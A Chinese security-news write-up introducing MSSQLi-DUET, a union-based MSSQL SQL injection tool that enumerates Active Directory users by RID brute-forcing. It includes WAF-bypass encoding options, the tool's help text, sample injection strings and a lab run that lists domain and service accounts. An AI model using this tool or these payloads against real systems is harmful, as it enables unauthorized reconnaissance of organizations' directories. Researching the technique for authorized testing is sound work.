MSSQLi-DUET

MSSQLi-DUET是一款针对MSSQL数据库的SQL注入脚本,它能够利用RID爆破技术来从一个活动目录环境中提取出域用户信息。该工具支持各种Web应用防火墙绕过技术,并且实现了SQLMap Temper功能。除此之外,广大研究人员还可以根据自己的需求以及目标环境来单独使用其中的Temper功能。

该工具有两种使用方式,一种是直接以Python脚本的方式在命令行终端中使用,另一种就是以Burp Suite插件的形式使用,这种方法可以使用简单的GUI导航。

当前版本的MSSQLi-DUET仅支持基于Union的注入方式,之后我们会进行大量测试来保证其他注入技术的稳定性和准确性。

工具下载

广大研究人员可以使用下列命令将MSSQLi-DUET项目源码克隆至本地:

git clone https://github.com/Keramas/mssqli-duet.git

工具使用

Burp Suite插件使用

在将插件上传至Burp Suite中之后,右键点击一个请求,然后选择将其发送给MSSQLi-DUET。随后,更多的相关参数和详细信息都将显示给用户

请求将会填充请求窗口,点击运行输出之后,我们就可以直接查看到输出结果了:

Python脚本使用

脚本帮助信息:

python3 mssqli-duet.py -h

usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid

                      RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]

                      [-o OUTFILE] -r REQUEST_FILE




MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool




optional arguments:

  -h, --help            show this help message and exit

  -i INJECTION, --injection INJECTION

                        Injection point. Provide only the data needed to

                        escape the query.

  -e ENCODING, --encoding ENCODING

                        Type of encoding: unicode, doubleencode, unmagicquotes

  -t TIME_DELAY, --time_delay TIME_DELAY

                        Time delay for requests.

  -rid RID_RANGE, --rid_range RID_RANGE

                        Hypenated range of RIDs to bruteforce. Ex: 1000-1200

  -ssl SSL, --ssl SSL   Add flag for HTTPS

  -p PARAMETER, --parameter PARAMETER

                        Vulnerable parameter

  -proxy PROXY, --proxy PROXY

                        Proxy connection string. Ex: 127.0.0.1:8080

  -o OUTFILE, --outfile OUTFILE

                        Outfile for username enumeration results.

  -r REQUEST_FILE, --request_file REQUEST_FILE

                        Raw request file saved from Burp




Prepare to be enumerated!

如何使用?

当你在一个目标应用程序中成功识别出了一个基于Uion注入的注入点,你就可以直接使用Burp Suite的“copy to file”功能来获取到请求元数据了。

使用-r选项将存储的请求信息发送给MSSQLi-DUET,并指定漏洞参数和注入点信息。比如说,如果漏洞参数为“element”,注入类型为SQL注入,那么-p参数值就是“element”,MSSQLi-DUET将会自动构建SQL注入查询。演示样例如下:

Ex: test'

    test'))

    test")"

工具使用样例

python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080

[+] Collected request data:

Target URL = http://192.168.11.22/search2.php?element=carbon

Method = GET

Content-Type = applcation/x-www-form-urlencoded







[+] Determining the number of columns in the table...

        [!] Number of columns is  3

[+] Determining column type...

        [!] Column type is null

[+] Discovering domain name...

        [+] Domain = NEUTRINO

[+] Discovering domain SID...

S-1-5-21-4142252318-1896537706-4233180933-




[+] Enumerating Active Directory via SIDs...




NEUTRINO\HYDROGENDC01$

NEUTRINO\DnsAdmins

NEUTRINO\DnsUpdateProxy

NEUTRINO\HELIUM$

NEUTRINO\BORON$

NEUTRINO\BERYLLIUM$

NEUTRINO\aeinstein

NEUTRINO\bbobberson

NEUTRINO\csagan

NEUTRINO\ccheese

NEUTRINO\svc_web

NEUTRINO\svc_sql

注意事项

在我们的使用过程中,可能需要研究人员根据目标数据库的列类型以及其他限制来对脚本代码进行自定义修改。

项目地址

MSSQLi-DUET:【GitHub传送门

本文作者:Alpha_h4ck, 转自FreeBuf